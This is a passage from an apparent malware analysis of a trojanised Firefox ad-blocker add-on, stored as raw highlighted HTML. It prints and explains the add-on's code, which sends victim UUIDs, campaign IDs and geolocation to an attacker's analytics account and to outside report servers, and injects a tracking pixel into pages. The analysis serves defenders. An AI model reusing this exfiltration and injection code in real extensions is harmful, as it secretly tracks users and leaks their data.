class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>(Note that I've re-indented the above and following code snippets\na bit for better readability. Also, where appropriate I've split some long\nstrings over multiple lines.)<\/p>\n<p>The main pieces of information that are sent to the attacker's\nGoogle Analytics account is the UUID and a campaign ID. The UUID\nis randomly generated once after the malware addon is installed and thus\nuniquely identifies each victim. The campaign ID is the\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/UTM_parameters\"><code>utm_campaign<\/code><\/a> part of the URL the user is currently visiting:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">redirectUrl<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/www.youtube.com\/&quot;<\/span><span class=\"p\">;<\/span>\n\n<span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">query<\/span><span class=\"p\">({<\/span><span class=\"nx\">currentWindow<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">active<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">},<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">tabs<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">].<\/span><span class=\"nx\">id<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">tabs<\/span><span class=\"p\">[<\/span><span class=\"mf\">0<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">currurl<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">url<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">currurl<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;utm_campaign&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">currurl<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">getUrlParameter<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;utm_campaign&#39;<\/span><span class=\"p\">,<\/span><span class=\"nx\">currurl<\/span><span class=\"p\">);<\/span><span class=\"w\">                        <\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">updating<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">update<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">id<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"nx\">url<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">redirectUrl<\/span><span class=\"p\">});<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">updating<\/span><span class=\"p\">.<\/span><span class=\"nx\">then<\/span><span class=\"p\">(<\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">onUpdated<\/span><span class=\"p\">.<\/span><span class=\"nx\">addListener<\/span><span class=\"p\">(<\/span><span class=\"nx\">handleUpdate<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">});<\/span><span class=\"w\">   <\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">getUrlParameter<\/span><span class=\"p\">(<\/span><span class=\"nx\">name<\/span><span class=\"p\">,<\/span><span class=\"nx\">url<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"nx\">name<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">name<\/span><span class=\"p\">.<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"sr\">\/[\\[]\/<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\\\[&#39;<\/span><span class=\"p\">).<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"sr\">\/[\\]]\/<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\\\]&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">regex<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nb\">RegExp<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[\\\\?&amp;]&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"nx\">name<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;=([^&amp;#]*)&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">results<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">regex<\/span><span class=\"p\">.<\/span><span class=\"nx\">exec<\/span><span class=\"p\">(<\/span><span class=\"nx\">url<\/span><span class=\"p\">);<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nx\">results<\/span><span class=\"w\"> <\/span><span class=\"o\">===<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nb\">decodeURIComponent<\/span><span class=\"p\">(<\/span><span class=\"nx\">results<\/span><span class=\"p\">[<\/span><span class=\"mf\">1<\/span><span class=\"p\">].<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"sr\">\/\\+\/g<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39; &#39;<\/span><span class=\"p\">));<\/span>\n<span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">);<\/span>\n<span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">);<\/span>\n<span class=\"nx\">setTimeout<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"nx\">reportGA<\/span><span class=\"p\">(<\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">},<\/span><span class=\"w\"> <\/span><span class=\"mf\">10000<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The malware not only includes the campaign ID in its alive\nmessage. In fact, it does report all campaign IDs is encounters\nin all URLs the victim is visiting:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">reportGA<\/span><span class=\"p\">(<\/span><span class=\"nx\">campaignID<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid4<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;firefox&quot;<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">dbtransport<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">   <\/span><span class=\"c1\">\/\/embedPixel();<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">try<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">request<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">  <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uri<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;v=1&amp;t=event&amp;tid=UA-93019183-1&amp;cid=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">uuid<\/span>\n<span class=\"w\">               <\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;aip=1&amp;ds=add-on&amp;ec=firefox&amp;ea=install_completed&amp;el=firefox_addon_installed&amp;cm=&quot;<\/span>\n<span class=\"w\">               <\/span><span class=\"o\">+<\/span><span class=\"nx\">campaignID<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;es=browserextension&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">message<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">encodeURI<\/span><span class=\"p\">(<\/span><span class=\"nx\">uri<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;POST&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;https:\/\/www.google-analytics.com\/collect&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">setRequestHeader<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;User-Agent&quot;<\/span><span class=\"p\">,<\/span><span class=\"s2\">&quot;Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/51.0.2704.103 Safari\/537.36&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">      <\/span><span class=\"nx\">request<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"nx\">message<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"nx\">_log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error sending report to Google Analytics.\\n&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The previously installed <code>handleUpdate()<\/code> callback ultimately injects <a href=\"https:\/\/en.wikipedia.org\/wiki\/Web_beacon\">tracking pixel<\/a> code:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">handleUpdate<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">changeInfo<\/span><span class=\"p\">,<\/span><span class=\"nx\">tab<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">url<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;https:\/\/www.youtube.com\/&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">status<\/span><span class=\"o\">==<\/span><span class=\"s2\">&quot;complete&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">setImage<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">chrome<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">onUpdated<\/span><span class=\"p\">.<\/span><span class=\"nx\">removeListener<\/span><span class=\"p\">(<\/span><span class=\"nx\">handleUpdate<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">return<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">setImage<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">executeScript<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabId<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"nx\">code<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">          <\/span><span class=\"s1\">&#39;\\n          &#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;var img = new Image();\\n&#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;img.className = \\&#39;pixel\\&#39;;\\n&#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;img.src = \\&#39;http:\/\/bursultry-exprights.com\/conversion.gif\\&#39;;\\n&#39;<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;document.body.appendChild(img);\\n&#39;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">runAt<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;document_end&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">},<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{});<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>That means the malware addon injects some Java Script code into each page that\nadds the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Web_beacon\">tracking pixel<\/a> image to the page's <a href=\"https:\/\/en.wikipedia.org\/wiki\/Document_Object_Model\">DOM tree<\/a>.<\/p>\n<p>When reporting the campaign ID etc. to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Analytics\">Google Analytics<\/a>,\nthe malware also reports this and other information to another\nURL - probably as a backup in case Google removes the attacker's\naccount:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">dbtransport<\/span><span class=\"p\">()<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"w\">  <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">installDtTm<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;installDtTm&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">dauLastSeen<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;dauLastSeen&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">browser<\/span><span class=\"w\">     <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;browser&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"w\">        <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">geoLocation<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;GEO&quot;<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;http:\/\/stage.adblocker.website\/report.php&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/var url = &quot;http:\/\/ojhasoftsolutions.in\/testsites\/adblock\/report.php&quot;;<\/span>\n<span class=\"w\">    <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"s2\">&quot;uuid=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">uuid<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;campaignid=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">campaignId<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;browser=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">browser<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;geo=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">geoLocation<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;datinstall=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">installDtTm<\/span><span class=\"o\">+<\/span><span class=\"s2\">&quot;&amp;dauLastSeen=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nx\">dauLastSeen<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">$<\/span><span class=\"p\">.<\/span><span class=\"nx\">ajax<\/span><span class=\"p\">({<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">type<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;POST&quot;<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">url<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">data<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">success<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">(){<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Success&#39;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">});<\/span><span class=\"w\">     <\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Note how the Malware previously send the data to\n<code>http:\/\/ojhasoftsolutions.in<\/code> and now sends it to\n<code>http:\/\/stage.adblocker.website<\/code>.<\/p>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Geolocation\">Geolocation<\/a> comes from an extra HTTP request in the callback\nthat also queries the tabs:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">$<\/span><span class=\"p\">.<\/span><span class=\"nx\">get<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;http:\/\/freegeoip.net\/json\/&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">data<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryName<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">data<\/span><span class=\"p\">.<\/span><span class=\"nx\">country_name<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">countryName<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;GEO&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryName<\/span><span class=\"p\">);<\/span><span class=\"w\">       <\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/localStorage.setItem(&quot;countryCode&quot;, data.country_code);<\/span>\n<span class=\"p\">});<\/span>\n<\/code><\/pre><\/div>\n\n<p>Interestingly, the <code>freegeoip.net<\/code> service has <a href=\"https:\/\/github.com\/apilayer\/freegeoip#readme\">shut down its\nopen API<\/a> as of March, 2018. The new API requires an API\nkey (free ones are available).<\/p>\n<p>In <code>js\/tab.js<\/code>, the malware addon removes some logic for filtering youtube, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/* <\/span>\n<span class=\"cm\">if(pageURL.indexOf(&quot;youtube.com&quot;)==-1)<\/span>\n<span class=\"cm\">{<\/span>\n<span class=\"cm\">    console.log(&quot;Blocked if only youtube&quot;)<\/span>\n<span class=\"cm\">    return &#39;http:\/\/behind-the-scene\/&#39;;<\/span>\n<span class=\"cm\">}<\/span>\n<span class=\"cm\">*\/<\/span>\n<\/code><\/pre><\/div>\n\n<p>In <code>js\/ublock.js<\/code> the malware seems to deactivate some blacklisting functionality:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/console.log(&#39;getNetFilteringSwitch&#39;);<\/span>\n<span class=\"c1\">\/\/console.log(url);<\/span>\n<span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"ow\">typeof<\/span><span class=\"w\"> <\/span><span class=\"k\">this<\/span><span class=\"p\">.<\/span><span class=\"nx\">netBlackList<\/span><span class=\"p\">[<\/span><span class=\"nx\">key<\/span><span class=\"p\">]<\/span><span class=\"o\">==<\/span><span class=\"s2\">&quot;undefined&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/console.log(&#39;Not Blocking ...&#39;);<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/console.log(key);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"kc\">false<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>In <code>js\/vapi-background.js<\/code>, the Malware retrieves the external IP\naddress of the victim for later collection:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">is_ip_address_set<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr2<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;GET&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span 